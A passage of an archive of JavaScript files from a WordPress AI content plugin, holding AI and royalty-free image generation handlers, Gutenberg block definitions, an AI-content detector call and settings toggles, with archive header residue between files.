0-3.39-.2-4.235-.346A.933.933 0 0 1 3 9.219V8.062Zm4.542-.827a.25.25 0 0 0-.217.068l-.92.9a24.767 24.767 0 0 1-1.871-.183.25.25 0 0 0-.068.495c.55.076 1.232.149 2.02.193a.25.25 0 0 0 .189-.071l.754-.736.847 1.71a.25.25 0 0 0 .404.062l.932-.97a25.286 25.286 0 0 0 1.922-.188.25.25 0 0 0-.068-.495c-.538.074-1.207.145-1.98.189a.25.25 0 0 0-.166.076l-.754.785-.842-1.7a.25.25 0 0 0-.182-.135Z" fill="white"></path> <path d="M8.5 1.866a1 1 0 1 0-1 0V3h-2A4.5 4.5 0 0 0 1 7.5V8a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1v1a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-1a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1v-.5A4.5 4.5 0 0 0 10.5 3h-2V1.866ZM14 7.5V13a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V7.5A3.5 3.5 0 0 1 5.5 4h5A3.5 3.5 0 0 1 14 7.5Z" fill="white"></path> </svg>  Search</button> </div> <div> <span id="openai-image-response-royalty"></span> </div> </fieldset> </div> <div class="aiomatic-footer"> </div> </figure> </div> `; if(jQuery('body .media-modal-content .media-frame-content')[0] !== undefined) { jQuery('body .media-modal-content .media-frame-content').html(html); } else { if(jQuery('.aiomatic-image-tab-2')[0] !== undefined) { jQuery('.aiomatic-image-tab-2').html(html); } } } function aiomatic_go_get_free_images() { jQuery('#aiomatic_image_get_royalty').attr('disabled', true); jQuery('#aiomatic_image_upload_royalty').attr('disabled', true); var instructionx = jQuery('#aiomatic-textarea-control-royalty'); var instruction = instructionx.val(); var imgSource = jQuery('#aiomatic-ai-modifier-royalty').find(":selected").val(); if(imgSource == 'no_source') { alert('You need to enable a royalty free image source from the plugin\'s \'Settings\' menu -> \'Royalty Free Images\' tab to use this functionality.'); jQuery('#aiomatic_image_get_royalty').attr('disabled', false); return; } if(instruction == '') { alert('You need to enter a keyword to use this feature!'); jQuery('#aiomatic_image_get_royalty').attr('disabled', false); return; } jQuery("#aiomatic-image-upload-royalty").hide(); jQuery('#openai-image-response-royalty').html('<div class="automaticx-dual-ring"></div>'); jQuery('#aiomatic_image_div_royalty').html(''); jQuery.ajax({ type: 'POST', url: aiomatic_img_ajax_object.ajax_url, data: { action: 'aiomatic_generate_royalty_free_image_ajax', instruction: instruction, nonce: aiomatic_img_ajax_object.nonce, image_source: imgSource }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-image-response-royalty').html('<div class="text-primary" role="status">No image was returned. Please try using a different search keyword.</div>'); jQuery("#aiomatic-image-upload-royalty").hide(); } else { var cnt = 1; response.data.forEach((imageURL) => { jQuery('#aiomatic_image_div_royalty').append('<img class="thumbnail selectable aiomatic_ai_image_response_royalty" id="aiomatic_ai_image_response_royalty' + cnt + '" data-image-id="' + cnt + '" src="' + imageURL + '" />'); jQuery('#aiomatic_ai_image_response_royalty' + cnt).css({ 'max-width': '200px', 'width': '200px', 'max-height': '200px', 'height': '200px', 'padding': '5px' }); cnt++; }); jQuery("#aiomatic-image-upload-royalty").show(); jQuery('#openai-image-response-royalty').html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-image-response-royalty').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-image-response-royalty').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } jQuery("#aiomatic-image-upload-royalty").hide(); } jQuery('#aiomatic_image_get_royalty').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic-image-upload-royalty").hide(); jQuery('#openai-image-response-royalty').html('<div class="text-primary highlight-text-fail" role="status">Failed to search for a royalty free image, try again later.</div>'); jQuery('#aiomatic_image_get_royalty').attr('disabled', false); }, }); } function aiomatic_go_get_images() { jQuery('#aiomatic_image_get').attr('disabled', true); jQuery('#aiomatic_image_upload').attr('disabled', true); var instructionx = jQuery('#aiomatic-textarea-control'); var instruction = instructionx.val(); var imageStyle = jQuery('#aiomatic-image-style').find(":selected").val(); if(imageStyle != '') { instruction += ' ' + imageStyle; } var artistStyle = jQuery('#aiomatic-artist-style').find(":selected").val(); if(artistStyle != '') { instruction += ' ' + artistStyle; } var styleModifier = jQuery('#aiomatic-style-modifier').find(":selected").val(); if(styleModifier != '') { instruction += ' ' + styleModifier; } var photoModifier = jQuery('#aiomatic-photography-modifier').find(":selected").val(); if(photoModifier != '') { instruction += ' ' + photoModifier + '.'; } var lightingModifier = jQuery('#aiomatic-lighting-modifier').find(":selected").val(); if(lightingModifier != '') { instruction += ' ' + lightingModifier + '.'; } var subjectModifier = jQuery('#aiomatic-subject-modifier').find(":selected").val(); if(subjectModifier != '') { instruction += ' ' + subjectModifier + '.'; } var cameraModifier = jQuery('#aiomatic-camera-modifier').find(":selected").val(); if(cameraModifier != '') { instruction += ' ' + cameraModifier + '.'; } var compositionModifier = jQuery('#aiomatic-composition-modifier').find(":selected").val(); if(compositionModifier != '') { instruction += ' ' + compositionModifier + '.'; } var resolutionModifier = jQuery('#aiomatic-resolution-modifier').find(":selected").val(); if(resolutionModifier != '') { instruction += ' ' + resolutionModifier + '.'; } var colorModifier = jQuery('#aiomatic-color-modifier').find(":selected").val(); if(colorModifier != '') { instruction += ' ' + colorModifier + '.'; } var effectsModifier = jQuery('#aiomatic-effects-modifier').find(":selected").val(); if(effectsModifier != '') { instruction += ' ' + effectsModifier + '.'; } var aiModel = jQuery('#aiomatic-ai-modifier').find(":selected").val(); if(aiModel == 'openai') { aiModel = 'dalle2'; } if(instruction == '') { alert('You need to enter a prompt or select a value from the image style settings!'); jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); return; } var image_sizex = jQuery('#aiomatic-size-modifier'); var image_size = image_sizex.val(); if(aiModel == 'dalle2') { if(image_size != '256x256' && image_size != '512x512' && image_size != '1024x1024') { image_size = '256x256'; } } else { if(aiModel == 'midjourney') { if(image_size != '512x512' && image_size != '1024x1024' && image_size != '1792x1024' && image_size != '1024x1792') { image_size = '1024x1024'; } } else { if(image_size != '1024x1024' && image_size != '1792x1024' && image_size != '1024x1792') { image_size = '1024x1024'; } } } var image_placeholder = aiomatic_img_ajax_object.image_placeholder; jQuery("#aiomatic_ai_image_response").attr("src", image_placeholder).fadeIn(); jQuery("#aiomatic-image-upload").hide(); jQuery('#openai-image-response').html('<div class="automaticx-dual-ring"></div>'); jQuery.ajax({ type: 'POST', url: aiomatic_img_ajax_object.ajax_url, data: { action: 'aiomatic_generate_image_ajax', instruction: instruction, image_size: image_size, user_token_cap_per_day: '', nonce: aiomatic_img_ajax_object.nonce, user_id: '', ai_model: aiModel }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-image-response').html('<div class="text-primary" role="status">No image was returned. Please try using a different text input.</div>'); jQuery("#aiomatic_ai_image_response").attr("src", '').fadeIn(); jQuery("#aiomatic-image-upload").hide(); } else { if(aiModel == 'stable') { jQuery("#aiomatic_ai_image_response").attr("src", "data:image/png;base64," + response.data).fadeIn(); } else { jQuery("#aiomatic_ai_image_response").attr("src", response.data).fadeIn(); } jQuery("#aiomatic-image-upload").show(); jQuery('#openai-image-response').html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-image-response').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-image-response').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } jQuery("#aiomatic_ai_image_response").attr("src", '').fadeIn(); jQuery("#aiomatic-image-upload").hide(); } jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic_ai_image_response").attr("src", '').fadeIn(); jQuery("#aiomatic-image-upload").hide(); jQuery('#openai-image-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to generate image content, try again later.</div>'); jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); }, }); } function aiomatic_upload_images_royalty() { jQuery('#aiomatic_image_get_royalty').attr('disabled', true); jQuery('#aiomatic_image_upload_royalty').attr('disabled', true); if(selectedImage == '') { alert('You need to select an image first!'); jQuery('#aiomatic_image_get_royalty').attr('disabled', false); jQuery('#aiomatic_image_upload_royalty').attr('disabled', false); return; } var instructionx = jQuery('#aiomatic-textarea-control'); var instruction = instructionx.val(); var postId; if (wp && wp.data) { postId = wp.data.select('core/editor').getCurrentPostId(); } else { postId = aiomatic_img_ajax_object.postId; } jQuery('#openai-image-response-royalty').html('<div class="automaticx-dual-ring"></div>'); jQuery.ajax({ type: 'POST', url: aiomatic_img_ajax_object.ajax_url, data: { action: 'aiomatic_save_image', imagesrc: selectedImage, orig_prompt: instruction, post_id: postId, nonce: aiomatic_img_ajax_object.nonce }, success: function(response) { if(response.success !== true) { alert('Failed to copy image to the Media Library, please try again later.') } else { jQuery('#openai-image-response-royalty').html('Image uploaded successfully, check your Media Library!'); } jQuery('#aiomatic_image_get_royalty').attr('disabled', false); jQuery('#aiomatic_image_upload_royalty').attr('disabled', false); if ( wp.media.frame !== undefined && wp.media.frame.content.get() ) { wp.media.frame.content.get().collection._requery( true ); } }, error: function(error) { console.log('Error during image upload: ' + error.responseText); jQuery('#openai-image-response-royalty').html('<div class="text-primary highlight-text-fail" role="status">Failed to upload image, try again later.</div>'); jQuery('#aiomatic_image_get_royalty').attr('disabled', false); jQuery('#aiomatic_image_upload_royalty').attr('disabled', false); }, }); } function aiomatic_upload_images() { jQuery('#aiomatic_image_get').attr('disabled', true); jQuery('#aiomatic_image_upload').attr('disabled', true); var imagesrc = jQuery('#aiomatic_ai_image_response').attr('src'); if(imagesrc == '') { alert('You need to create an image first!'); jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); return; } var instructionx = jQuery('#aiomatic-textarea-control'); var instruction = instructionx.val(); var imageStyle = jQuery('#aiomatic-image-style').find(":selected").val(); if(imageStyle != '') { instruction += ' ' + imageStyle; } var artistStyle = jQuery('#aiomatic-artist-style').find(":selected").val(); if(artistStyle != '') { instruction += ' ' + artistStyle; } var styleModifier = jQuery('#aiomatic-style-modifier').find(":selected").val(); if(styleModifier != '') { instruction += ' ' + styleModifier; } var photoModifier = jQuery('#aiomatic-photography-modifier').find(":selected").val(); if(photoModifier != '') { instruction += ' ' + photoModifier + '.'; } var lightingModifier = jQuery('#aiomatic-lighting-modifier').find(":selected").val(); if(lightingModifier != '') { instruction += ' ' + lightingModifier + '.'; } var subjectModifier = jQuery('#aiomatic-subject-modifier').find(":selected").val(); if(subjectModifier != '') { instruction += ' ' + subjectModifier + '.'; } var cameraModifier = jQuery('#aiomatic-camera-modifier').find(":selected").val(); if(cameraModifier != '') { instruction += ' ' + cameraModifier + '.'; } var compositionModifier = jQuery('#aiomatic-composition-modifier').find(":selected").val(); if(compositionModifier != '') { instruction += ' ' + compositionModifier + '.'; } var resolutionModifier = jQuery('#aiomatic-resolution-modifier').find(":selected").val(); if(resolutionModifier != '') { instruction += ' ' + resolutionModifier + '.'; } var colorModifier = jQuery('#aiomatic-color-modifier').find(":selected").val(); if(colorModifier != '') { instruction += ' ' + colorModifier + '.'; } var effectsModifier = jQuery('#aiomatic-effects-modifier').find(":selected").val(); if(effectsModifier != '') { instruction += ' ' + effectsModifier + '.'; } var postId; if (wp && wp.data) { postId = wp.data.select('core/editor').getCurrentPostId(); } else { postId = aiomatic_img_ajax_object.postId; } jQuery('#openai-image-response').html('<div class="automaticx-dual-ring"></div>'); jQuery.ajax({ type: 'POST', url: aiomatic_img_ajax_object.ajax_url, data: { action: 'aiomatic_save_image', imagesrc: imagesrc, orig_prompt: instruction, post_id: postId, nonce: aiomatic_img_ajax_object.nonce }, success: function(response) { if(response.success !== true) { alert('Failed to copy image to the Media Library, please try again later.') } else { jQuery('#openai-image-response').html('Image uploaded successfully, check your Media Library!'); } jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); if ( wp.media.frame !== undefined && wp.media.frame.content.get() ) { wp.media.frame.content.get().collection._requery( true ); } }, error: function(error) { console.log('Error during image upload: ' + error.responseText); jQuery('#openai-image-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to upload image, try again later.</div>'); jQuery('#aiomatic_image_get').attr('disabled', false); jQuery('#aiomatic_image_upload').attr('disabled', false); }, }); } function aiomaticModelChanged() { var styleModifier = jQuery('#aiomatic-ai-modifier').find(":selected").val(); if(styleModifier == 'stable') { jQuery("#aiomatic-size-modifier option[value='1792x1024']").remove(); jQuery("#aiomatic-size-modifier option[value='1024x1792']").remove(); jQuery("#aiomatic-size-modifier option[value='256x256']").remove(); if(jQuery("#aiomatic-size-modifier option[value='512x512']").length == 0) { jQuery('#aiomatic-size-modifier').append(jQuery('<option>', { value: '512x512', text : '512x512' })); } } else { if(styleModifier == 'openai') { jQuery("#aiomatic-size-modifier option[value='1792x1024']").remove(); jQuery("#aiomatic-size-modifier option[value='1024x1792']").remove(); if(jQuery("#aiomatic-size-modifier option[value='256x256']").length == 0) { jQuery('#aiomatic-size-modifier').append(jQuery('<option>', { value: '256x256', text : '256x256' })); } if(jQuery("#aiomatic-size-modifier option[value='512x512']").length == 0) { jQuery('#aiomatic-size-modifier').append(jQuery('<option>', { value: '512x512', text : '512x512' })); } } else if(styleModifier == 'dalle3' || styleModifier == 'dalle3hd') { jQuery("#aiomatic-size-modifier option[value='256x256']").remove(); jQuery("#aiomatic-size-modifier option[value='512x512']").remove(); if(jQuery("#aiomatic-size-modifier option[value='1792x1024']").length == 0) { jQuery('#aiomatic-size-modifier').append(jQuery('<option>', { value: '1792x1024', text : '1792x1024' })); } if(jQuery("#aiomatic-size-modifier option[value='1024x1792']").length == 0) { jQuery('#aiomatic-size-modifier').append(jQuery('<option>', { value: '1024x1792', text : '1024x1792' })); } } } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/list-posts.js�������������������������������������������������������������������������������0000644�����������������00000024021�14757771437�0010737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-list', { title: 'AIomatic List Posts', icon: 'text', category: 'embed', attributes: { ruletype : { default: '', type: 'string', }, ruleid : { default: '', type: 'string', }, category : { default: '', type: 'string', }, posts : { default: '50', type: 'string', }, orderby : { default: 'title', type: 'string', }, order : { default: 'ASC', type: 'string', }, type : { default: 'any', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var ruletype = props.attributes.ruletype; var ruleid = props.attributes.ruleid; var category = props.attributes.category; var posts = props.attributes.posts; var orderby = props.attributes.orderby; var order = props.attributes.order; var type = props.attributes.type; function updateMessage( event ) { props.setAttributes( { ruletype: event.target.value} ); } function updateMessage2( event ) { props.setAttributes( { ruleid: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { category: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { posts: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { orderby: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { order: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { type: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic List Posts ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to list posts generated by this plugin. It is a simple way to list posts.' ) ) ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Rule Type: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the source of the posts that will be listed.' ) ), gcel( 'select', { value: ruletype, onChange: updateMessage, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 0}, 'Spintax to Posts' ), gcel( 'option', { value: ''}, 'Any' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Rule ID: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the ID of the rule you wish to list posts from. To list all posts from a specific rule, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Rule id to list', value: ruleid, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Category Slug: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the post category slug from where you wish to list posts.' ) ), gcel( 'textarea', { rows:1,placeholder:'Category slug', value: category, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Posts Per Page: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the number of posts to be shown at max.' ) ), gcel( 'input', { type:'number',min:1,placeholder:'10', value: posts, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Order By: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select how to order results.' ) ), gcel( 'select', { value: orderby, onChange: updateMessage5, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'none'}, 'none' ), gcel( 'option', { value: 'date'}, 'date' ), gcel( 'option', { value: 'ID'}, 'ID' ), gcel( 'option', { value: 'author'}, 'author' ), gcel( 'option', { value: 'title'}, 'title' ), gcel( 'option', { value: 'name'}, 'name' ), gcel( 'option', { value: 'type'}, 'type' ), gcel( 'option', { value: 'modified'}, 'modified' ), gcel( 'option', { value: 'parent'}, 'parent' ), gcel( 'option', { value: 'rand'}, 'rand' ), gcel( 'option', { value: 'comment_count'}, 'comment_count' ), gcel( 'option', { value: 'relevance'}, 'relevance' ), gcel( 'option', { value: 'menu_order'}, 'menu_order' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Sort By: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select how to sort results.' ) ), gcel( 'select', { value: order, onChange: updateMessage6, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'ASC'}, 'ASC' ), gcel( 'option', { value: 'DESC'}, 'DESC' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Post Type: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the post type to be listed. You can input a comma separated list of multiple post types (custom post types supported).' ) ), gcel( 'textarea', { rows:1,placeholder:'post', value: type, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-stable-image-generator.js����������������������������������������������������������0000644�����������������00000014176�14757771437�0014732 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-stable-image-generator', { title: 'AIomatic Stable Diffusion Image Generator Form', icon: 'text', category: 'embed', attributes: { image_size : { default: '1024x1024', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var image_size = props.attributes.image_size; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; function updateMessage( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Stable Diffusion Image Generator Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate AI images.' ) ) ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image size for AI generated images.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'default'}, 'default' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ), gcel( 'option', { value: '512x512'}, '512x512' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage8, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), ); }), save: (function( props ) { return null; }), } );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aidetector.js�������������������������������������������������������������������������������0000644�����������������00000010423�14757771437�0010742 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function(){ function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery('#button-start-aidetector').on('click', function (e){ e.preventDefault(); var error_message = false; var inputv = jQuery('#aiomatic_aidetector_input'); if(inputv.val() === ''){ error_message = 'Please enter a text to check!'; } if(error_message){ alert(error_message) } else{ aiomaticCheckPlagiation(inputv.val()); } return false; }); function aiomaticCheckPlagiation(text){ var btn = jQuery('#button-start-aidetector'); var aiomatic_error_message = jQuery('#aiomatic-error-msg-aidetector'); var aiomatic_upload_success = jQuery('#aiomatic_aidetector_success'); var aiomatic_progress = jQuery('#aiomatic_progress'); var data = { action: 'aiomatic_aidetector_check_text', text: text, nonce: aiomatic_aidetector_object.nonce }; jQuery.ajax({ url: aiomatic_aidetector_object.ajax_url, data: data, type: 'POST', xhr: function () { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function (evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width', (Math.round(percentComplete * 100)) + '%'); } }, false); return xhr; }, beforeSend: function () { aiomatic_progress.find('span').css('width', '0'); aiomatic_progress.show(); aiomatic_progress.css('visibility','visible'); aiomaticLoading(btn); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, success: function (res) { if (res.success == true) { console.log('Success ' + JSON.stringify(res)); aiomaticRmLoading(btn); aiomatic_progress.hide(); aiomatic_upload_success.show(); aiomatic_upload_success.css('visibility','visible'); var percentage = res.data.result.percentage; var sourceText = res.data.result.report; if(sourceText == '') { sourceText = 'No conclusion resulted after the check'; } if(Array.isArray(res.data.result.detected_chunks) && res.data.result.detected_chunks.length > 0) { sourceText += '\n\n' + 'Detected AI content chunks:'; var chunkid = 1; res.data.result.detected_chunks.forEach(element => { sourceText += '\n\n' + 'Chunk ID: ' + chunkid + '\n' + element; chunkid++; }); } jQuery('#aiomatic_aidetector_result').text(sourceText); jQuery('#aiomatic_aidetector_percentage').val('Conclusion confidence percentage: ' + percentage + '%'); aiomatic_error_message.html(''); aiomatic_error_message.hide(); } else { aiomaticRmLoading(btn); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.data.message); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }, error: function () { aiomaticRmLoading(btn); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); aiomatic_error_message.html('Please try again'); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }); } });���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/poster.js�����������������������������������������������������������������������������������0000644�����������������00000016667�14757771437�0010153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var initial = ''; function mainChanged() { if(jQuery("#ai_rewriter").val() == 'enabled') { jQuery(".hideMain").show(); visionSelectedAI(); } else { jQuery(".hideMain").hide(); } } function mainChanged2() { if(jQuery("#ai_featured_image").val() == 'enabled') { jQuery(".hideMain2").show(); mainChangedImg(); } else { jQuery(".hideMain2").hide(); jQuery(".hideImg").hide(); } } function mainChanged2e() { if(jQuery("#ai_featured_image_edit").val() == 'enabled') { jQuery(".hideMain2e").show(); } else { jQuery(".hideMain2e").hide(); } } function mainChanged2c() { if(jQuery("#ai_featured_image_edit_content").val() == 'enabled') { jQuery(".hideMain2c").show(); } else { jQuery(".hideMain2c").hide(); } } function mainChangedImg() { if(jQuery("#ai_featured_image_source").val() == '1') { jQuery(".hideImg").show(); } else { jQuery(".hideImg").hide(); } } function aiomatic_audio_changed() { var selected = jQuery('#content_text_speech').val(); if(selected == 'google') { jQuery(".hideeleven").hide(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidegoogle").show(); jQuery(".hideWideAudio").show(); } if(selected == 'elevenlabs') { jQuery(".hideeleven").show(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidegoogle").hide(); jQuery(".hideWideAudio").show(); } if(selected == 'did') { jQuery(".hidedid").show(); jQuery(".hideopen").hide(); jQuery(".hideeleven").hide(); jQuery(".hidegoogle").hide(); jQuery(".hideWideAudio").show(); } if(selected == 'openai') { jQuery(".hidedid").hide(); jQuery(".hideopen").show(); jQuery(".hideeleven").hide(); jQuery(".hidegoogle").hide(); jQuery(".hideWideAudio").show(); } if(selected == 'off') { jQuery(".hideeleven").hide(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidegoogle").hide(); jQuery(".hideWideAudio").hide(); } } function mainChanged3() { if(jQuery("#append_spintax").val() == 'append' || jQuery("#append_spintax").val() == 'preppend' || jQuery("#append_spintax").val() == 'inside') { jQuery(".hideMain3").show(); visionSelectedAI3(); } else { jQuery(".hideMain3").hide(); } } function mainChanged4() { if(jQuery("#add_links").val() == 'enabled') { jQuery(".hideMain4").show(); if(jQuery("#link_method").val() == 'aiomatic') { jQuery(".hideMain4a").show(); jQuery(".hideMain4l").hide(); } else { jQuery(".hideMain4a").hide(); jQuery(".hideMain4l").show(); var selected = jQuery('#link_juicer_model').val(); var found = false; aiomatic_object.modelsvision.forEach((model) => { if(model == selected) { found = true; } }); if(found == true) { jQuery(".hideVision9").show(); } else { jQuery(".hideVision9").hide(); } } hideLinks(); } else { jQuery(".hideMain4").hide(); jQuery(".hideMain4a").hide(); jQuery(".hideMain4l").hide(); } } function 